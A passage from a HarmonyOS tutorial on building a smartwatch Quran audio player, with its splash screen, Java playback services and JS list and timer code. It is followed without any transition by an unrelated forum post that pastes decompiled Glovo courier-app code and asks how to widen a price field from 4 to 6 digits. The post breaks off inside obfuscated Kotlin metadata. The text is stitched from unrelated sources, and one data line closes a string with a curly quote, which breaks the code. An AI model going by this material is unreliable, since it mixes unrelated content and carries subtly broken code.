Click on Tools -> HVD Manager to configure Huawei Virtual Devices on our IDE. This process leads developer to browser to authenticate through Huawei ID.
Next we need to choose Wearable device and click on play button to start the HVD in our IDE.
After choosing the wearable device, we can see a Brand new Huawei Smart Watch Emulator on our IDE.
Now we need to click on Run Project button and choose HVD which we reserve for testing and click OK button to start the Emulator.
After the process completes, our first application launched on Huawei Smart. You can see the list view on Smart Watch.
3. Splash Screen Development
In Splash screen development we will cover animation, glowing effect and timer.
Let’s start development without wasting more time.
Common images:
We can place some of the common images under common folder, which we can use in our project.
index.hml:
Code:
<stack class="container">
<div id="loading" class="bg"></div>
<div class="logo-glow"></div>
<image class="logo" src="/common/quran.png"></image>
</stack>
index.css:
Code:
.container {
justify-content: center;
align-items: center;
}
.logo{
top: 0px;
left: 0px;
width: 180px;
height: 180px;
}
.logo-glow{
top: 0px;
left: 0px;
width: 200px;
height: 200px;
border-radius: 200px;
background-color: rgba(255, 255, 255, .75);
animation-name: glow;
animation-duration: 1s;
animation-timing-function: ease;
animation-iteration-count: infinite;
}
@keyframes glow {
from {
width: 190px;
height: 190px;
}
to {
width: 180px;
height: 180px;
}
}
.bg{
top: 0px;
left: 0px;
width: 100%;
height: 100%;
background-image: url('/common/bg.jpg');
background-position: center center;
background-size: 100% 100%;
}
#loading {
animation-name: rotation;
animation-duration: 10s;
animation-timing-function: linear;
animation-iteration-count: infinite;
}
@keyframes rotation {
from {
transform: rotate(0deg);
}
to {
transform: rotate(359deg);
}
}
index.js:
Code:
import router from '@system.router';
import brightness from '@system.brightness';
var counter = 10;
export default {
data: {
timer: null
},
onInit(){
this.timer = setInterval(this.run,500);
},
onReady() {
this.setBrightnessKeepScreenOn();
},
run(){
counter = counter - 1;
if(counter == 0){
clearInterval(this.timer);
this.timer = null;
router.replace({
uri: 'pages/playerList/playerList'
});
}
},
onDestroy(){
clearInterval(this.timer);
this.timer = null;
},
// Setting the screen to be steady on
setBrightnessKeepScreenOn: function () {
brightness.setKeepScreenOn({
keepScreenOn: true,
success: function () {
console.log("handling set keep screen on success")
},
fail: function (data, code) {
console.log("handling set keep screen on fail, code:" + code);
}
});
},
}
Splash Screen in Action:
Splash Screen Notes:
We are using setTimeInterval after each 500ms and repeat this process for 10 times. Once the counter completes we will redirect the user to PlayerList screen.
4. Audio Player List Screen Development
In this section we make JAVA based Player Service (AVPlayService) and Player Handler service (PlayQuranService) to manage the audio play function on smart watch. Rest we will manage the UI on JS code to show list of Quran Chapters and on-click of list we will show dialog screen and play the audio with timer.
Let’s start the development without wasting more time.
Utils:
Let’s make utils package under java folder and add two java classes LogUtil.java and RequestParam.java.
Let’s first add packages in java folder to better manage our code.
LogUtil Class:
This class is responsible to manage logs from java code while implementing player.
Code:
import ohos.hiviewdfx.HiLog;
import ohos.hiviewdfx.HiLogLabel;
/**
* Log utils
*
* @since 2021-01-20
*/
public class LogUtil {
private static final String TAG_LOG = "AVPlayer";
private static final int DOMAIN_ID = 0xD000F00;
private static final HiLogLabel LABEL_LOG = new HiLogLabel(3, DOMAIN_ID, LogUtil.TAG_LOG);
private static final String LOG_FORMAT = "%{public}s: %{public}s";
private LogUtil() {
}
/**
* Print debug log
*
* @param tag log tag
* @param msg log message
*/
public static void debug(String tag, String msg) {
HiLog.debug(LABEL_LOG, LOG_FORMAT, tag, msg);
}
/**
* Print info log
*
* @param tag log tag
* @param msg log message
*/
public static void info(String tag, String msg) {
HiLog.info(LABEL_LOG, LOG_FORMAT, tag, msg);
}
/**
* Print warn log
*
* @param tag log tag
* @param msg log message
*/
public static void warn(String tag, String msg) {
HiLog.warn(LABEL_LOG, LOG_FORMAT, tag, msg);
}
/**
* Print error log
*
* @param tag log tag
* @param msg log message
*/
public static void error(String tag, String msg) {
HiLog.error(LABEL_LOG, LOG_FORMAT, tag, msg);
}
}
RequestParam Class:
RequestParam class is used for getter and setting for URI which we pass from JS code to JAVA code to stream audio file.
Code:
public class RequestParam {
private String uriQuran;
public String getUriQuran() {
return uriQuran;
}
public void setUriQuran(String uriQuran) {
this.uriQuran = uriQuran;
}
}
Model: (AVElementManager)
This class is used to prepare audio files for applications.
Code:
import com.android.wearable.lite.ksa.salman.utils.LogUtil;
import ohos.aafwk.ability.DataAbilityHelper;
import ohos.aafwk.ability.DataAbilityRemoteException;
import ohos.app.Context;
import ohos.data.resultset.ResultSet;
import ohos.media.common.AVDescription;
import ohos.media.common.AVMetadata;
import ohos.media.common.sessioncore.AVElement;
import ohos.media.photokit.metadata.AVStorage;
import ohos.utils.PacMap;
import ohos.utils.net.Uri;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
/**
* This class is used to prepare audio files for applications.
*
* @since 2021-01-11
*/
public class AVElementManager {
private static final String TAG = AVElementManager.class.getSimpleName();
private List<AVElement> avElements = new ArrayList<>();
private AVElement current;
/**
* The construction method of this class
*
* @param context Context
*/
public AVElementManager(Context context) {
loadFromMediaLibrary(context);
}
private void loadFromMediaLibrary(Context context) {
Uri remoteUri = AVStorage.Audio.Media.EXTERNAL_DATA_ABILITY_URI;
DataAbilityHelper helper = DataAbilityHelper.creator(context, remoteUri, false);
try {
ResultSet resultSet = helper.query(remoteUri, null, null);
LogUtil.info(TAG, "The result size: " + resultSet.getRowCount());
processResult(resultSet);
resultSet.close();
} catch (DataAbilityRemoteException e) {
LogUtil.error(TAG, "Query system media failed.");
} finally {
helper.release();
}
}
private void processResult(ResultSet resultSet) {
while (resultSet.goToNextRow()) {
String path = resultSet.getString(resultSet.getColumnIndexForName(AVStorage.AVBaseColumns.DATA));
String title = resultSet.getString(resultSet.getColumnIndexForName(AVStorage.AVBaseColumns.TITLE));
long duration = resultSet.getInt(resultSet.getColumnIndexForName(AVStorage.AVBaseColumns.DURATION));
LogUtil.info(TAG, "Add new video file: " + path);
PacMap pacMap = new PacMap();
pacMap.putLongValue(AVMetadata.AVLongKey.DURATION, duration);
AVDescription bean = new AVDescription.Builder().setTitle(title)
.setIMediaUri(Uri.parse(path))
.setMediaId(path)
.setExtras(pacMap)
.build();
avElements.add(new AVElement(bean, AVElement.AVELEMENT_FLAG_PLAYABLE));
}
setDefaultAVElement();
}
private void setDefaultAVElement() {
if (avElements.size() > 0) {
current = avElements.get(0);
}
}
/**
* get the list of avElements
*
* @return avElements the list of avElements
*/
public List<AVElement> getAvQueueElements() {
return avElements;
}
/**
* set the current AVElement by uri
*
* @param uri uri of item
* @return true if set success, else false
*/
public boolean setCurrentAVElement(Uri uri) {
for (AVElement element : avElements) {
if (element.getAVDescription().getMediaUri().toString().equals(uri.toString())) {
current = element;
return true;
}
}
setDefaultAVElement();
return false;
}
/**
* get the current AVElement
*
* @return AVElement the current AVElement
*/
public AVElement getCurrentAVElement() {
return current;
}
/**
* get the next AVElement
*
* @return AVElement the next AVElement
*/
public Optional<AVElement> getNextAVElement() {
for (int i = 0; i < avElements.size(); i++) {
if (avElements.get(i).equals(current)) {
int index = i + 1;
current = avElements.get(index < avElements.size() ? index : 0);
return Optional.of(current);
}
}
setDefaultAVElement();
return Optional.of(current);
}
/**
* get the previous AVElement
*
* @return AVElement the previous AVElement
*/
public Optional<AVElement> getPreviousAVElement() {
for (int i = 0; i < avElements.size(); i++) {
if (avElements.get(i).equals(current)) {
int index = i - 1;
current = avElements.get(index >= 0 ? index : avElements.size() - 1);
return Optional.of(current);
}
}
setDefaultAVElement();
return Optional.of(current);
}
}
Services: (AVPlayService and PlayQuranService)
First we need to make one package named as services and define two service named as AVPlayService and PlayQuranService.
AVPlayService:
This is the service of the player, that base on AVBrowserService. This service runs on background.
Code:
import com.android.wearable.lite.ksa.salman.model.AVElementManager;
import com.android.wearable.lite.ksa.salman.utils.LogUtil;
import ohos.aafwk.content.Intent;
import ohos.media.common.AVDescription;
import ohos.media.common.AVMetadata;
import ohos.media.common.Source;
import ohos.media.common.sessioncore.AVBrowserResult;
import ohos.media.common.sessioncore.AVBrowserRoot;
import ohos.media.common.sessioncore.AVPlaybackState;
import ohos.media.common.sessioncore.AVSessionCallback;
import ohos.media.player.Player;
import ohos.media.sessioncore.AVBrowserService;
import ohos.media.sessioncore.AVSession;
import ohos.utils.PacMap;
import ohos.utils.net.Uri;
import java.util.Timer;
import java.util.TimerTask;
/**
* The service of the player, that base on AVBrowserService.
*
* @since 2021-01-20
*/
public class AVPlayService extends AVBrowserService {
private static final String TAG = AVPlayService.class.getSimpleName();
/**
* parent media id 1
*/
public static final String PARENT_MEDIA_ID_1 = "PARENT_MEDIA_ID_1";
/**
* parent media id 2
*/
public static final String PARENT_MEDIA_ID_2 = "PARENT_MEDIA_ID_2";
private static final int TIME_DELAY = 500;
private static final int TIME_LOOP = 1000;
private AVElementManager avElementManager;
private AVSession avSession;
private Player player;
private Timer timer = new Timer();
private ProgressTimerTask progressTimerTask;
private boolean isFirstConnectService = true;
@Override
public void onStart(Intent intent) {
if (!isFirstConnectService) {
return;
}
super.onStart(intent);
isFirstConnectService = false;
LogUtil.info(TAG, "onStart");
avElementManager = new AVElementManager(this);
AVPlaybackState avPlaybackState = new AVPlaybackState.Builder().setAVPlaybackState(
AVPlaybackState.PLAYBACK_STATE_NONE, 0, 1.0f).build();
avSession = new AVSession(this, AVPlayService.class.getName());
avSession.setAVSessionCallback(avSessionCallback);
avSession.setAVPlaybackState(avPlaybackState);
setAVToken(avSession.getAVToken());
player = new Player(this);
}
@Override
public void onStop() {
super.onStop();
LogUtil.info(TAG, "onDestroy");
if (player != null) {
player.release();
player = null;
}
if (avSession != null) {
avSession.release();
avSession = null;
}
if (progressTimerTask != null) {
progressTimerTask.cancel();
progressTimerTask = null;
}
}
@Override
public AVBrowserRoot onGetRoot(String clientPackageName, int clientUid, PacMap rootHints) {
LogUtil.info(TAG, "onGetRoot");
return new AVBrowserRoot(PARENT_MEDIA_ID_1, null);
}
@Override
public void onLoadAVElementList(String parentId, AVBrowserResult result) {
LogUtil.info(TAG, "onLoadAVElementList");
result.detachForRetrieveAsync();
switch (parentId) {
case PARENT_MEDIA_ID_1: {
result.sendAVElementList(avElementManager.getAvQueueElements());
break;
}
case PARENT_MEDIA_ID_2:
default:
break;
}
}
@Override
public void onLoadAVElementList(String parentId, AVBrowserResult avBrowserResult, PacMap pacMap) {
LogUtil.info(TAG, "onLoadAVElementList-2");
}
@Override
public void onLoadAVElement(String parentId, AVBrowserResult avBrowserResult) {
LogUtil.info(TAG, "onLoadAVElement");
}
private AVSessionCallback avSessionCallback = new AVSessionCallback() {
@Override
public void onPlay() {
super.onPlay();
LogUtil.info(TAG + "-AVSessionCallback", "onPlay");
if (avSession.getAVController().getAVPlaybackState().getAVPlaybackState()
== AVPlaybackState.PLAYBACK_STATE_PAUSED) {
player.play();
AVPlaybackState avPlaybackState = new AVPlaybackState.Builder().setAVPlaybackState(
AVPlaybackState.PLAYBACK_STATE_PLAYING, player.getCurrentTime(), player.getCurrentTime()).build();
avSession.setAVPlaybackState(avPlaybackState);
startProgressTaskTimer();
}
}
@Override
public void onPause() {
super.onPause();
LogUtil.info(TAG + "-AVSessionCallback", "onPause");
if (avSession.getAVController().getAVPlaybackState().getAVPlaybackState()
== AVPlaybackState.PLAYBACK_STATE_PLAYING) {
player.pause();
AVPlaybackState avPlaybackState = new AVPlaybackState.Builder().setAVPlaybackState(
AVPlaybackState.PLAYBACK_STATE_PAUSED, player.getCurrentTime(), player.getPlaybackSpeed()).build();
avSession.setAVPlaybackState(avPlaybackState);
}
}
@Override
public void onPlayNext() {
super.onPlayNext();
LogUtil.info(TAG + "-AVSessionCallback", "onPlayNext");
AVDescription next = avElementManager.getNextAVElement().get().getAVDescription();
play(next, 0);
}
@Override
public void onPlayPrevious() {
super.onPlayPrevious();
LogUtil.info(TAG + "-AVSessionCallback", "onPlayPrevious");
AVDescription previous = avElementManager.getPreviousAVElement().get().getAVDescription();
play(previous, 0);
}
private void play(AVDescription description, int position) {
player.reset();
player.setSource(new Source(description.getMediaUri().toString()));
player.prepare();
player.rewindTo(position);
player.play();
AVPlaybackState avPlaybackState = new AVPlaybackState.Builder().setAVPlaybackState(
AVPlaybackState.PLAYBACK_STATE_PLAYING, player.getCurrentTime(), player.getPlaybackSpeed()).build();
avSession.setAVPlaybackState(avPlaybackState);
avSession.setAVMetadata(getAVMetadata(description));
startProgressTaskTimer();
}
private AVMetadata getAVMetadata(AVDescription description) {
PacMap extrasPacMap = description.getExtras();
return new AVMetadata.Builder().setString(AVMetadata.AVTextKey.TITLE, description.getTitle().toString())
.setLong(AVMetadata.AVLongKey.DURATION, extrasPacMap.getLongValue(AVMetadata.AVLongKey.DURATION))
.setString(AVMetadata.AVTextKey.META_URI, description.getMediaUri().toString())
.build();
}
private void startProgressTaskTimer() {
if (progressTimerTask != null) {
progressTimerTask.cancel();
}
progressTimerTask = new ProgressTimerTask();
timer.schedule(progressTimerTask, TIME_DELAY, TIME_LOOP);
}
@Override
public void onPlayByUri(Uri uri, PacMap extras) {
LogUtil.info(TAG + "-AVSessionCallback", "onPlayByUri");
switch (avSession.getAVController().getAVPlaybackState().getAVPlaybackState()) {
case AVPlaybackState.PLAYBACK_STATE_PAUSED:
case AVPlaybackState.PLAYBACK_STATE_NONE: {
avElementManager.setCurrentAVElement(uri);
AVDescription current = avElementManager.getCurrentAVElement().getAVDescription();
play(current, 0);
break;
}
default:
break;
}
}
@Override
public void onPlayBySearch(String query, PacMap extras) {
LogUtil.info(TAG + "-AVSessionCallback", "onPlayBySearch");
}
@Override
public void onSetAVPlaybackCustomAction(String action, PacMap extras) {
super.onSetAVPlaybackCustomAction(action, extras);
LogUtil.info(TAG + "-AVSessionCallback", "onSetAVPlaybackCustomAction");
}
};
// used to get the playing status in period
class ProgressTimerTask extends TimerTask {
@Override
public void run() {
if (avSession.getAVController().getAVPlaybackState().getAVPlaybackState()
== AVPlaybackState.PLAYBACK_STATE_PLAYING) {
AVPlaybackState avPlaybackState = new AVPlaybackState.Builder().setAVPlaybackState(
AVPlaybackState.PLAYBACK_STATE_PLAYING, player.getCurrentTime(), player.getPlaybackSpeed()).build();
avSession.setAVPlaybackState(avPlaybackState);
}
}
}
}
PlayQuranService:
This service is responsible to make bridge with JS code and JAVA code to send input and send response in sync and async ways.
Code:
import com.android.wearable.lite.ksa.salman.utils.LogUtil;
import com.android.wearable.lite.ksa.salman.utils.RequestParam;
import ohos.aafwk.ability.Ability;
import ohos.aafwk.content.Intent;
import ohos.agp.window.dialog.ToastDialog;
import ohos.media.common.Source;
import ohos.media.player.Player;
import ohos.rpc.*;
import ohos.utils.zson.ZSONObject;
import java.util.HashMap;
import java.util.Map;
public class PlayQuranService extends Ability {
private static final String TAG = "PlayQuranService";
private MyRemote remote = new MyRemote();
private Player player;
// The FA calls Ability.connectAbility to connect to a PA. After the connection is successful, a remote object is returned in onConnect for the FA to send messages to the PA.
@Override
protected IRemoteObject onConnect(Intent intent) {
super.onConnect(intent);
return remote.asObject();
}
class MyRemote extends RemoteObject implements IRemoteBroker {
private static final int ERROR = -1;
private static final int SUCCESS = 0;
private static final int PLAY = 1001;
MyRemote() {
super("MyService_MyRemote");
}
@Override
public boolean onRemoteRequest(int code, MessageParcel data, MessageParcel reply, MessageOption option) {
switch (code) {
case PLAY: {
String zsonStr = data.readString();
RequestParam param = ZSONObject.stringToClass(zsonStr, RequestParam.class);
String uriQuran = param.getUriQuran();
this.play(uriQuran);
// The return value can only be a serializable object.
Map<String, Object> zsonResult = new HashMap<String, Object>();
zsonResult.put("code", SUCCESS);
zsonResult.put("abilityResult", "running");
reply.writeString(ZSONObject.toZSONString(zsonResult));
break;
}
default: {
reply.writeString("service not defined");
return false;
}
}
return true;
}
private void play(String uri) {
if (player == null || !player.isNowPlaying()) {
if (uri.isEmpty()) {
LogUtil.warn(TAG, "input uri is empty.");
return;
}
if (player != null) {
player.release();
}
player = new Player(getApplicationContext());
Source source = new Source(uri);
if (!player.setSource(source)) {
LogUtil.warn(TAG, "uri is invalid");
return;
}
if (!player.prepare()) {
LogUtil.warn(TAG, "prepare failed");
return;
}
if (!player.play()) {
LogUtil.warn(TAG, "play failed");
return;
}
} else {
stopPlay();
}
}
private void stopPlay() {
if(player != null) {
player.stop();
player.release();
}
}
private void showToast(String msg) {
new ToastDialog(getAbilityPackageContext()).setText(msg).setDuration(1000).show();
}
@Override
public IRemoteObject asObject() {
return this;
}
}
}
Data Model: (quranChaptersList.js)
We need Data Model to show list of Audio Player Quran Chapters and online audio file URL. We can also able to fetch data online, but in this article we already generated a JSON Data Model and use in project with ease.
Define the quranChaptersList.js file in common folder.
Code:
const quranChaptersList = [{id: 1, name: "1. Surat Al-Fatihah", time: "00:43", url: "https://download.quranicaudio.com/quran/abdurrahmaan_as-sudays/001.mp3"}, {id: 2, name: "2. Surat Al-Baqarah", time: "01:39:32", url: "https://download.quranicaudio.com/quran/abdurrahmaan_as-sudays/002.mp3"}, {id: 3, name: "3. Surat Ali 'Imran", time: "52:16", url: "https://download.quranicaudio.com/quran/abdurrahmaan_as-sudays/003.mp3"}, {id: 4, name: "4. Surat An-Nisa", time: "01:02:26", url: "https://download.quranicaudio.com/quran/abdurrahmaan_as-sudays/004.mp3”}];
export default quranChaptersList;
playerList.hml:
We will manage to display list of Quran Chapters and a Dialog to for audio player with timer and play/stop functionality.
Code:
<div class="container" onswipe="touchMove">
<dialog id="playerDialog" class="dialog-main">
<div class="dialog-bg">
<div class="dialog-div">
<div class="inner-txt">
<marquee class="chapter-name">{{currentChapterName}}</marquee>
<image onclick="resumeQuranAudio()" if="{{!isPlaying}}" style="width: 56px; height: 56px;"
src="/common/play.png"></image>
<image onclick="resumeQuranAudio()" if="{{isPlaying}}" style="width: 56px; height: 56px;"
src="/common/stop.png"></image>
<text class="txt">{{remainTime}} / {{currentChapterTime}}
</text>
</div>
<div class="inner-btn">
<button type="capsule" value="close" onclick="cancelPlayer" class="btn-txt"></button>
</div>
</div>
</div>
</dialog>
<list class="wearable">
<list-item for="{{quranChapterData}}" tid="id" type="listItem" class="list-box"
onclick="openQuranAudio({{$item.id}}, {{$item.url}}, true)">
<div id="play" class="img-box play">
<image src="../../common/play.png"></image>
</div>
<div class="text-box">
<text class="title-text">
{{$item.name}}
</text>
</div>
</list-item>
</list>
</div>
playerList.css:
Code:
.container {
flex-direction: column;
justify-content: center;
align-items: center;
background-image: url('/common/list-bg.jpg');
background-position: center center;
background-size: 100% 100%;
}
.wearable {
width: 240px;
height: 233px;
flex-direction: column;
justify-content: flex-start;
align-items: center;
/* background-color: rgba(255, 255, 255, .75);*/
border-radius: 116.5px;
}
.title {
color: #ffffff;
font-size: 20px;
text-align: center;
margin-top: 20px;
margin-bottom: 35px;
}
.list-box {
flex-direction: row;
justify-content: flex-start;
align-items: center;
height: 56px;
border-radius: 30px;
background-color: rgba(255, 255, 255, .35);
margin-bottom: 5px;
}
.img-box {
width: 46px;
height: 46px;
margin-left: 14px;
margin-top: 0px;
}
.text-box {
flex-direction: column;
justify-content: center;
width: 180px;
margin-left: 0px;
margin-top: 0px;
}
.title-text {
color: #ffffff;
font-size: 18px;
text-align: left;
padding-left: 5px;
}
.subtitle-text {
color: #808080;
font-size: 19.5px;
text-align: center;
margin-top: 2px;
}
.icon-box {
width: 25px;
height: 25px;
margin-top: 24px;
margin-left: 20px;
}
.play{
opacity: 1;
}
.pause{
display: none;
}
.visible{
opacity: 1;
}
.dialog-main {
width: 400px;
height: 400px;
}
.dialog-bg {
display: flex;
background-image: url('/common/list-bg.jpg');
background-position: center center;
background-size: 100% 100%;
}
.dialog-div {
width: 400px;
height: 400px;
flex-direction: column;
align-items: center;
border-radius: 400px;
background-color: rgba(255, 255, 255, .15);
}
.inner-txt {
width: 400px;
height: 160px;
flex-direction: column;
align-items: center;
justify-content: space-around;
background-color: transparent;
}
.inner-btn {
width: 400px;
height: 80px;
justify-content: space-around;
align-items: center;
}
.chapter-name{
font-size: 24px;
margin-top: 40px;
}
.btn-txt{
background-color: rgba(240,126,138, .35);
text-color: whitesmoke;
}
playerList.js:
This this file we will manage all logic of audio player.
Structural - Code:
Code:
import prompt from '@system.prompt';
import brightness from '@system.brightness';
import app from '@system.app';
import quranChaptersList from '../../common/quranChaptersList';
const globalRef = Object.getPrototypeOf(global) || global;
globalRef.regeneratorRuntime = require('@babel/runtime/regenerator');
// Set abilityType to 0 (ability) or 1 (internal ability).
const ABILITY_TYPE_EXTERNAL = 0;
const ABILITY_TYPE_INTERNAL = 1;
// Set syncOption to 0 (synchronous, default value) or 1 (asynchronous). This parameter is optional.
const ACTION_SYNC = 0;
const ACTION_ASYNC = 1;
const ACTION_MESSAGE_CODE_PLAY = 1001;
export default {}
Data:
Code:
data: {
quranChapterData: quranChaptersList,
currentChapterName: null,
currentChapterTime: null,
currentPlayingObj: null,
isPlaying: false,
remainTime:'',
countDownTimer: null,
showHours: false,
},
Common - Code:
Code:
onReady() {
this.setBrightnessKeepScreenOn();
},// Setting the screen to be steady on
setBrightnessKeepScreenOn: function () {
brightness.setKeepScreenOn({
keepScreenOn: true,
success: function () {
console.log("handling set keep screen on success")
},
fail: function (data, code) {
console.log("handling set keep screen on fail, code:" + code);
}
});
},
touchMove(e){ // Handle the swipe event.
if(e.direction == "right") // Swipe right to exit.
{
this.appExit();
}
},
appExit(){ // Exit the application.
app.terminate();
}
Audio Player - Code:
Code:
openQuranAudio: async function(id, uriQuran, mode) {
var _this = this;
this.clearTimer();
var currentPlayingObj = quranChaptersList.filter((current)=> current.id == id);
_this.currentPlayingObj = currentPlayingObj[0];
_this.currentChapterName = _this.currentPlayingObj.name;
if(mode){
_this.$element('playerDialog').show();
_this.currentChapterTime = _this.currentPlayingObj.time;
_this.remainTime = _this.currentChapterTime;
}
var actionData = {};
actionData.firstNum = 1024;
actionData.secondNum = 2048;
actionData.uriQuran = uriQuran;
var action = {};
action.bundleName = 'com.android.wearable.lite.ksa.salman';
action.abilityName = 'com.android.wearable.lite.ksa.salman.services.PlayQuranService';
action.messageCode = ACTION_MESSAGE_CODE_PLAY;
action.data = actionData;
action.abilityType = ABILITY_TYPE_EXTERNAL;
action.syncOption = ACTION_SYNC;
var result = await FeatureAbility.callAbility(action);
var ret = JSON.parse(result);
if (ret.code == 0) {
console.info('player result is:' + JSON.stringify(ret.abilityResult));
_this.isPlaying = !_this.isPlaying;
_this.manageTimer();
} else {
console.error('player error code:' + JSON.stringify(ret.code));
prompt.showToast({
message: 'player error code:' + JSON.stringify(ret.code)
})
}
},
manageTimer(){
if(this.isPlaying){
this.setTimeInfo(this.remainTime);
}
},
resumeQuranAudio(){
this.clearTimer();
let id = this.currentPlayingObj.id;
let url = this.currentPlayingObj.url;
this.openQuranAudio(id, url, false);
},
cancelPlayer(e) {
if(this.isPlaying){
this.resumeQuranAudio();
}
this.$element('playerDialog').close();
this.clearTimer();
},
clearTimer(){
clearInterval(this.countDownTimer);
this.countDownTimer = null;
},
onDestroy(){
this.clearTimer();
},
Timer - Code:
Code:
getCalculatedTime(playerTimeInput){
let _this = this;
let playerTime = {hours: 0, minutes: 0, seconds: 0};
let timeSplit = playerTimeInput.split(':');
console.info("timeSplit: "+ timeSplit.length);
if(timeSplit.length === 3){
playerTime = {hours: parseInt(timeSplit[0]), minutes: parseInt(timeSplit[1]), seconds: parseInt(timeSplit[2])}
_this.showHours = true;
} else if(timeSplit.length === 2){
playerTime = {hours: 0, minutes: parseInt(timeSplit[0]), seconds: parseInt(timeSplit[1])}
_this.showHours = false;
} else {
playerTime = {hours: 0, minutes: 0, seconds: parseInt(timeSplit[0])}
_this.showHours = false;
}
let dateTime = new Date();
dateTime.setHours(dateTime.getHours() + playerTime.hours);
dateTime.setMinutes(dateTime.getMinutes() + playerTime.minutes);
dateTime.setSeconds(dateTime.getSeconds() + playerTime.seconds);
let calculatedTime = dateTime.getTime();
console.info("calculatedTime: "+ calculatedTime);
return calculatedTime;
},
caculateTime(timeObj) {
let myDate = new Date();
let currentTime = myDate.getTime();
var targetTime = parseInt(timeObj);
var remainTime = parseInt(targetTime - currentTime);
if (remainTime > 0 ) {
this.isShowTargetTime = true;
this.setRemainTime(remainTime);
this.setTargetTime(targetTime);
} else {
this.isPlaying = false;
}
},
setRemainTime(remainTime) {
let days = this.addZero(Math.floor(remainTime / (24 * 3600 * 1000))); // Calculate the number of days.
let leavel = remainTime % (24 * 3600 * 1000); // Time remaining after calculating the number of days
let hours = this.addZero(Math.floor(leavel / (3600 * 1000))); // Calculate the number of hours remaining
let leavel2 = leavel % (3600 * 1000); // Number of milliseconds remaining after calculating the remaining hours
let minutes = this.addZero(Math.floor(leavel2 / (60 * 1000))); // Calculate the remaining minutes
// Calculate the difference in seconds.
let leavel3 = leavel2 % (60 * 1000); // Number of milliseconds remaining after calculating the number of minutes
let seconds = this.addZero(Math.round(leavel3 / 1000));
if(this.showHours){
this.remainTime = hours + ':' + minutes + ':' + seconds;
} else {
this.remainTime = minutes + ':' + seconds;
}
},
setTargetTime(targetTime) {
var times = new Date(targetTime);
let date = times.toLocaleDateString(); //Obtains the current date.
var tempSetHours = times.getHours(); //Obtains the current number of hours.(0-23)
let hours = this.addZero(tempSetHours)
var tempSetMinutes = times.getMinutes(); //Obtains the current number of minutes.(0-59)
let minutes = this.addZero(tempSetMinutes)
var tempSetSeconds = times.getSeconds(); //Obtains the current number of seconds.(0-59)
let seconds = this.addZero(tempSetSeconds)
this.targetTime = `${hours}:${minutes}:${seconds}`;
},
addZero: function(i){
return i < 10 ? "0" + i: i + "";
},
References:
HarmonyOS JS API Official Documentation:
Document
developer.harmonyos.com
HarmonyOS JAVA API Official Documentation:
Document
developer.harmonyos.com
Conclusion:
Developers can able to make applications for Huawei Smart Watch using DevEco Studio. Using HarmonyOS developer can use JS , JAVA, C/C++ languages to develop very elegant and smart application for Smart wearable, Car, TV, Smart Vision, Phone and Tablet.

Help with java code

Hello
Please help.
Here is the code of the line in the application
It is necessary to enter 6 digits in the application in the line. And the application only allows 4.
What parameter in the code should be changed ?
package glovoapp.delivery.detail.pickup.upload.quiero;
import android.content.Context;
import android.support.v4.media.a;
import android.text.Editable;
import android.text.InputFilter;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.glovoapp.theme.Palette;
import g3.b;
import glovoapp.delivery.crossdocking.databinding.PriceEditTextBinding;
import glovoapp.utils.l;
import hu.e;
import hu.j;
import java.util.Arrays;
import java.util.List;
import java.util.ListIterator;
import java.util.Locale;
import kotlin.Metadata;
import kotlin.collections.CollectionsKt;
import kotlin.jvm.JvmOverloads;
import kotlin.jvm.internal.DefaultConstructorMarker;
import kotlin.jvm.internal.Intrinsics;
import kotlin.jvm.internal.SourceDebugExtension;
import kotlin.jvm.internal.StringCompanionObject;
import kotlin.text.Regex;
import kotlin.text.StringsKt;
import t3.a;
@Metadata(d1 = {"\u0000f\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\t\n\u0002\u0018\u0002\n\u0002\u0010\u000b\n\u0002\b\b\n\u0002\u0010\u0006\n\u0002\b\u0004\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\r\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\f\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\r\b\u0007\u0018\u0000 D2\u00020\u0001:\u0004DEFGB%\b\u0007\u0012\u0006\u0010\u0002\u001a\u00020\u0003\u0012\n\b\u0002\u0010\u0004\u001a\u0004\u0018\u00010\u0005\u0012\b\b\u0002\u0010\u0006\u001a\u00020\u0007¢\u0006\u0002\u0010\bJ\u0018\u00104\u001a\u00020\u00152\u0006\u00105\u001a\u0002062\u0006\u00107\u001a\u000208H\u0002J\u0010\u00109\u001a\u00020\u00152\u0006\u00105\u001a\u000206H\u0002J\b\u0010:\u001a\u00020;H\u0014J\u0010\u0010<\u001a\u00020;2\u0006\u0010*\u001a\u00020\u001eH\u0002J\b\u0010=\u001a\u00020;H\u0002J\b\u0010>\u001a\u00020;H\u0002J\u0010\u0010?\u001a\u00020;2\u0006\[email protected]\u001a\u00020\u0015H\u0016J\b\u0010A\u001a\u00020;H\u0002J\u0010\u0010B\u001a\u00020;2\u0006\u0010C\u001a\u00020\u0015H\u0002R\u0011\u0010\t\u001a\u00020\n¢\u0006\b\n\u0000\u001a\u0004\b\u000b\u0010\fR$\u0010\u000e\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u000f\u0010\u0010\"\u0004\b\u0011\u0010\u0012R\u0012\u0010\u0013\u001a\u00060\u0014R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R$\u0010\u0016\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u0017\u0010\u0018\"\u0004\b\u0019\u0010\u001aR\u0010\u0010\u001b\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u0010\u0010\u001c\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u000e\u0010\u001d\u001a\u00020\u001eX\u0082\u000e¢\u0006\u0002\n\u0000R$\u0010\u001f\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b 